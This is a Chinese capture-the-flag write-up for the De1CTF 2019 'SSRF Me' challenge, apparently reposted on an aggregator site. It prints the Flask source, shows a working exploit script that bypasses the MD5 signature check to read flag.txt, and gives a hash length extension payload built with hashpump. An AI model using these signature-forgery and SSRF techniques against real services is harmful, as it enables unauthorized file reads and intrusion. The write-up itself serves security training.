[De1CTF 2019]SSRF Me | BUUCTF

news/2024/4/19 13:31:23/文章来源:https://blog.csdn.net/qq_56313338/article/details/132732888

根据题目名我们知道这是一道SSRF的题目

它允许攻击者在受害服务器上发起未经授权的网络请求

分析

在buuctf上有一个提示
在这里插入图片描述
也就是说flag在 网站的flag.txt

访问主页
在这里插入图片描述
很明显是段flask代码

格式化后

from flask import Flask, request  # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import jsonreload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)  # 创建一个Flask应用实例
secret_key = os.urandom(16)  # 生成一个16字节的随机密钥# 定义一个名为Task的类,用于处理任务
class Task:def __init__(self, action, param, sign, ip):self.action = action  # 任务动作self.param = param    # 参数self.sign = sign      # 签名self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名if not os.path.exists(self.sandbox):os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它def Exec(self):result = {}result['code'] = 500  # 默认响应码为500if self.checkSign():  # 检查签名是否有效if "scan" in self.action:  # 如果任务动作是"scan"tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)  # 执行扫描操作if resp == "Connection Timeout":result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200  # 执行成功,响应码为200if "read" in self.action:  # 如果任务动作是"read"f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()  # 读取结果if result['code'] == 500:result['data'] = "Action Error"  # 如果动作无效,设置响应数据else:result['code'] = 500result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息return resultdef checkSign(self):if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配return Trueelse:return False# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif waf(param):  # 检查是否触发Web应用防火墙(WAF)return "No Hacker!!!!"task = Task(action, param, sign, ip)  # 创建任务对象return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():return open("code.txt", "r").read()# 定义一个用于扫描URL的函数
def scan(param):socket.setdefaulttimeout(1)     # 设置超时时间try:return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符except:return "Connection Timeout"# 生成签名的函数
def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()# 计算MD5哈希的函数
def md5(content):return hashlib.md5(content).hexdigest()# Web应用防火墙(WAF)检查函数
def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头return True  # 如果参数触发WAF规则,返回Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上

分析代码

  • 路由
    • /geneSign :对param参数进行签名
    • /De1ta : 从客户端获取 action,param,sign参数,获取用户ip,使用waf函数对param进行检测,使用Task对象处理
    • / : 读取code.txt并显示
  • 全局函数
    • scan : 对指定url进行请求
    • getSign: 使用md5进行签名
    • md5 :对参数进行md5加密
    • waf :对参数进行检查,拦截字符串开头为 file和gopher的字符串
    • Task :

如果直接访问flag.txt肯定是不行的,,因为没有这个路由

其中有个scan函数

def scan(param):socket.setdefaulttimeout(1)     # 设置超时时间try:return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符except:return "Connection Timeout"

构造

可以直接传递文件名进行读取(flag.txt)

首先需要获取sign

根据代码构造我们需要的sign

if "scan" in self.action:  # 如果任务动作是"scan"
if "read" in self.action:  # 如果任务动作是"read"

在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
此时我们可以构造 readscan 或者 scanread
这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了

代码中的print resp只会打印在本地控制台,并不会显示在网页中

而param我们构造 flag.txt即可

获取sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param) 
?param="flag.txtread"

为什么要构造flag.txtread
因为action默认指定为 scan
原本我们需要的sign

action=readscan
param=flag.txt
sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan

因为在 getSign 函数, action和param是反过来拼接的

也就是说我们只需要构造flag.txtreadscan的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread也能获取一样的sign

?param=flag.txtread

在这里插入图片描述

获取flag

def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))....

构造响应的参数

Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
?param=flag.txt

在这里插入图片描述

exp

import requestsurl = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
sign = requests.get(url+"geneSign?param=flag.txtread").text		# 获取sign
cookies = {"sign": sign,'action': 'readscan'
}flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text  # 获取flagprint(flag)

其他解法

哈希长度拓展攻击

这个就涉及到md5实现的一些原理了
可以参考下
https://zhuanlan.zhihu.com/p/587802432
https://www.cnblogs.com/pcat/p/5478509.html
使用工具 hashdump

下载hashpump

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

举例

原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
这里用php举个例子

$secret_key = '1234567890';	# 盐
echo md5($secret_key. "admin");

输出的hash值为 501530457b49501056d8f994d12252ca

我们这里知道了几个关键要素

  • hash值 : 501530457b49501056d8f994d12252ca
  • 输入的值: admin
  • 盐的长度 : 10

知道这些条件我们就可以构造一个hash值

使用hashpump

在这里插入图片描述

Input Data to Add是我们需要附加的值,附加的值会追加到我们输入的值上

最后hashpump输入了两个值,一个hash,和一个追加数据后的值

验证

$secret_key = '0123456789';
echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");

最后输出 c231ab9c9647fda124aa8f2dd5cef076 , 和hashpump给出的hash值一致

利用

回到题目

在这里插入图片描述

通过hashpump就能构造两个一样的hash值从而通过验证
从前面知道了三个条件

  • hash值
  • 盐的长度
  • 输入的值

在这里插入图片描述

根据源码我们知道盐的长度

secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)       # getSign('scan', 'flag.txtread')  # 9b7be9abc20f7d0ea3883024bb47d0e0# 生成签名的函数
def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()

secret_key + param = 16 + flag.txt(8) = 24

而我们的输入就是scan, 最后我们需要追加上read

在这里插入图片描述

\x 替换成 %即可

?param=flag.txt
Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

在这里插入图片描述

注意这个sign参数的hash是hashpump生成出来的hash

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_169414.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

易优cms响应式月嫂家政服务公司网站模板源码—自适应手机端设计,支持后台管理

易优cms响应式月嫂家政服务公司网站模板源码 自适应手机端 带后台 模板基于EyouCMS内核制作,模板编码为UTF8 ,适合行业:家政服务类企业。 模板信息: 模板分类:摄像、婚庆、家政、保洁 适合行业:家政服务类企业 模板介绍: 本模…

【 Tkinter界面-练习04】 画板作画详细揭示

一、说明 对画布的掌握分三个部分,将图形paint到画布、动画move、鼠标画;本篇将侧重于鼠标画的功能,提起鼠标画实现,将涉及一系列组合操作才能完成,这里将一一加以介绍。 Canvas 小部件具有大量功能,我们不…

Redis优化 RDB AOF持久化

---------------------- Redis 高可用 ---------------------------------------- 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时间内可以提供正常服务(99.9%、99.99%、99.999%等等)。 但是在Redis语境…

baichuan2(百川2)本地部署的实战方案

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

buuctf crypto 【Dangerous RSA】解题记录

1.打开文件 2.看到e非常小,c和n都很大,应该是低加密指数,上脚本 from gmpy2 import * from Crypto.Util.number import * n0x52d483c27cd806550fbe0e37a61af2e7cf5e0efb723dfc81174c918a27627779b21fa3c851e9e94188eaee3d5cd6f752406a43fbec…

【andv】a-select 多条数据重复(搜索无效)的问题:

文章目录 一、问题:二、分析:三、解决:【1】key值用index,value用某个属性index 也可以用随机数啥的代替,反正保证数据不一致就行了 ;【2】注意:value值加了一些东西,那么在取数据的时候要记得去掉,不然取到的就不单纯…

数据链路层重点协议-以太网

以太网简介 "以太网" 不是一种具体的网络,而是一种技术标准;既包含了数据链路层的内容,也包含了 一些物理层的内容。例如:规定了网络拓扑结构,访问控制方式,传输速率等; 以太网数据帧…

Python语义分割与街景识别(2):环境搭建

前言 本文主要用于记录我在使用python做图像识别语义分割训练集的过程,由于在这一过程中踩坑排除BUG过多,因此也希望想做这部分内容的同学们可以少走些弯路。 本文是python语义分割与街景识别的第二篇,关于环境搭建的内容。这个部分是整个流…

springBoot对接Apache POI 实现excel下载和上传

搭建springboot项目 此处可以参考 搭建最简单的SpringBoot项目_Steven-Russell的博客-CSDN博客 配置Apache POI 依赖 <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.2</version> </…

项目(智慧教室)第四部分,页面交互功能,WebServer建立与使用,

一。页面构思 1.标题栏 大标题&#xff1a;智慧教室管理系统 小标题&#xff1a;灯光&#xff0c;报警&#xff0c;风扇&#xff0c;温度&#xff0c;湿度&#xff0c;光照 2.样式设计 背景设置。字体设置&#xff08;字体大小&#xff0c;格式&#xff0c;颜色&#xff09; 3.…

202331读书笔记|《我笨拙地爱着这个世界(“外卖诗人”王计兵自选集)》——脚在泥泞,心有繁花

202331读书笔记|《我笨拙地爱着这个世界&#xff08;“外卖诗人”王计兵自选集&#xff09;》——脚在泥泞&#xff0c;心有繁花 《我笨拙地爱着这个世界&#xff08;“外卖诗人”王计兵自选集&#xff09;》作者王计兵。这是读的他的第二本书&#xff0c;比较有烟火气&#xf…

180B参数的Falcon登顶Hugging Face,vs chatGPT 最好开源大模型使用体验

文章目录 使用地址使用体验test1:简单喜好类问题test2:知识性问题test3:开放性问题test4:中文支持test5:问题时效性test6:学术问题使用地址 https://huggingface.co/spaces/tiiuae/falcon-180b-demo 使用体验 相比Falcon-7b,Falcon-180b拥有1800亿的参数量

Java 【异常】

一、认识异常 Exception 在 Java 中&#xff0c;将程序执行过程中发生的不正常行为称为异常 。 异常是异常exception&#xff0c;报错是报错error 1.算数异常 0不能作为除数&#xff0c;所以算数异常 2.空指针异常 arr不指向任何对象&#xff0c;打印不出arr的长度&#xff0c;…

第六章 图 四、图的广度优先遍历(BFS算法、广度优先生成树、广度优先生成森林)

一、实现步骤 广度优先遍历的实现步骤如下&#xff1a; 1.从图的某一个节点开始&#xff0c;将该节点标记为已经访问过的节点。 2.将该节点加入到队列中。 3.当队列非空时&#xff0c;执行以下操作&#xff1a; a. 取出队列队首节点&#xff0c;并遍历该节点与之相邻的所有…

下载Ubantu镜像文件、创建虚拟机以及ubantu安装详细教程

目录 前言 Ubantu是什么&#xff1f;它有什么作用&#xff1f; 一、Ubantu镜像文件下载步骤 1.第一步安装VMware Workstation 2.第二步下载Ubuntu的镜像文件 镜像文件下载官网网址入下&#xff1a; 二、创建虚拟机和安装Ubantu的步骤 1.打开VMware Workstation并点击创…

【C语言基础】那些你可能不知道的C语言“潜规则”

&#x1f4e2;&#xff1a;如果你也对机器人、人工智能感兴趣&#xff0c;看来我们志同道合✨ &#x1f4e2;&#xff1a;不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 &#x1f4e2;&#xff1a;文章若有幸对你有帮助&#xff0c;可点赞 &#x1f44d;…

mysql 增量备份与恢复使用详解

目录 一、前言 二、数据备份策略 2.1 全备 2.2 增量备份 2.3 差异备份 三、mysql 增量备份概述 3.1 增量备份实现原理 3.1.1 基于日志的增量备份 3.1.2 基于时间戳的增量备份 3.2 增量备份常用实现方式 3.2.1 基于mysqldump增量备份 3.2.2 基于第三方备份工具进行增…

堆相关例子-排序最多移动k距离

题目&#xff1a; 一个几乎有序的数组。几乎有序是指&#xff1a;如果把数组排好序&#xff0c;每个数的移动距离一定不超过K&#xff0c;并且K一定远小于数组长度 分析&#xff1a; 给定的数组有上面的限制条件&#xff0c;根据条件可以分析得到&#xff1a; 对于前0-k个数…

javaee springMVC model的使用

项目结构图 pom依赖 <?xml version"1.0" encoding"UTF-8"?><project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org…

Linux初探 - 概念上的理解和常见指令的使用

目录 Linux背景 Linux发展史 GNU 应用场景 发行版本 从概念上认识Linux 操作系统的概念 用户的概念 路径与目录 Linux下的文件 时间戳的概念 常规权限 特殊权限 Shell的概念 常用指令 ls tree stat clear pwd echo cd touch mkdir rmdir rm cp mv …